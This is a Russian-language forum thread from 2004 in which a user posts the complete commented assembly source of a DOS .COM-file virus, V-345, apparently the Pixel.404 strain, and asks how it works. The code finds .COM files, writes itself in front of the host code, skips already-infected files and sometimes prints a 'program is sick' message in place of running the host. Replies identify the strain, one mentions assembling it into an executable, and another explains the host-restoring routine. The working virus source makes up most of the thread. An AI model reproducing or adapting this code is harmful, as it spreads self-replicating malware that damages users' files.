|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Ноя 2, 2004 12:08:19 Здрастье, не могли бы вы мне помочь подробнее разобраться, чего за вирус и чего делает: page ,132 name V345 title V-345 - a mutation of the V-845 virus .radix 16 code segment ; эта часть программы остается резидентной assume cs:code,ds:code ; связывание регистров cs и ds с code org 100H ; данная программа записана как файл типа *.com – остальная ;часть программы – перемещаемый сегмент команд timer equ 6C ; константы dta equ 80 ftime equ offset dta + 16 fdate equ offset dta + 18 fname equ offset dta + 1E virlen = offset endcode - offset start newid = offset ident - offset start start: ; метка начала программы jmp short virus ; короткий переход (IP)(IP)+8-битное смещение, опр. virus ident dw 'VI' counter db 0 allcom db '*.COM',0 progbeg dd ? eof dw ? virus: ; метка virus push ax ; помещение данных в стек mov ax,cs ; перемещение сегмента кода в ax mov es,ax ; помещение в дополнительный сегмент данных inc [counter] ; увеличение счетчика mov si,offset start ; помещаем в si смещение start’а (анал. lea si,start) xor di,di ; ксорим di с di mov cx,virlen ; место, на которое переносится загрузчик dos rep movsb ; перенесение загрузчика mov dx,offset allcom ;Ищем *.com файлы mov cx,110b ;с различными атрибутами mov ah,4E ;находим первый файл int 21 jc done ;выходим, если не найден файл mainlp: mov dx,fname mov ax,3D02 ;открываем файл для чтения/записи int 21 mov bx,ax ;сохраняем заголовок push es pop ds mov dx,virlen mov cx,0FFFF ;читаем все байты (максимум 64 в *.com файле) mov ah,3F ;читаем из заголовка байты int 21 add ax,virlen mov cs:[eof],ax ;сохраняем указатель на конец файла cmp ds:[newid+virlen],'VI' ;зараженный? je close ;если так, то идем на следующий файл xor cx,cx ;идем к началу файла mov dx,cx mov ax,4200 ;установка текущей позиции от начала файла int 21 jc close ;покидаем файл, если встречаются ошибки xor dx,dx ;пишем весь код (virus+file) mov cx,cs:[eof] ;возвращаемся на файл mov ah,40 ;пишем в заголовок int 21 mov cx,cs:[ftime] ;устанавливаем дату и время mov dx,cs:[fdate] mov ax,5701 int 21 close: mov ah,3E ;закрываем файл int 21 push cs pop ds ;восстанавливаем ds mov ah,4F ;ищем следующий файл int 21 jc done ;выходим, если все найдено jmp mainlp ;иначе повторяем снова done: cmp [counter],5 ;если счетчик более 5, jb progok ;то программа «заболевает» mov ax,40 mov ds,ax ; берем значение системного таймера mov ax,word ptr ds:[timer] push cs pop ds and ax,1 ; если значение таймера четно jz progok ; то переходим на progok mov dx,offset message mov ah,9 ;печать message int 21 int 20 ;закончить программу message db 'I am sorry, program is sick, please call doctor… ' progok: mov si,offset transf ;помещаем в si смещение transf mov cx,offset endcode - offset transf ;длину кода – в cx xor di,di ;Move to ES:0 rep movsb ;Do it pop bx ; BX = прежений AX mov word ptr cs:[progbeg],0 mov word ptr cs:[progbeg+2],es ;указатель progbeg на начало программы jmp cs:[progbeg] ;перейти к началу программы transf: push ds pop es mov si,offset endcode mov di,offset start mov cx,0FFFF ;восстановление оригинального программного кода sub cx,si ; вычесть из cx si и записать в cx (место…) rep movsb mov word ptr cs:[start],offset start mov word ptr cs:[start+2],ds mov ax,bx jmp dword ptr cs:[start] ;переходим на начало программы endcode label byte int 20H code ends end start |
|
|
Дата: Ноя 2, 2004 12:55:29 Лучше бы ссылку дал. http://www.stonebrowser.narod.ru/777.htm Касперский идентифицирует его как Pixel.404 Траслировал Тасмом 3.1 и сделал экзешник. |
|
|
Дата: Ноя 2, 2004 16:34:03 гм.. это нерезидентый паразит на *.com. сохраняет работоспособность обьектов. год создания -конец 80х годов. больше сказать нечего :) |
|
|
Дата: Ноя 7, 2004 05:43:10 madgeniy ага, а ты в книжку Игоря Гульева загляни и найдёшь свой вирус :) |
|
|
Дата: Ноя 8, 2004 13:29:07 Народ, а поподробнее о самом коде могли бы чего-нить сказать, например, чего делает этот кусок: push ds pop es mov si,offset endcode mov di,offset start mov cx,0FFFF ;восстановление оригинального программного кода sub cx,si ; вычесть из cx si и записать в cx (место…) rep movsb mov word ptr cs:[start],offset start mov word ptr cs:[start+2],ds mov ax,bx jmp dword ptr cs:[start] ;переходим на начало программы endcode label byte |
|
|
Дата: Ноя 9, 2004 04:31:14 madgeniy По замыслу автора этот код должен восстанавливать на место оригинальный код программы, который был сдвинут для размещения творения, указанного в первом сообщении этой темы. |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.047 |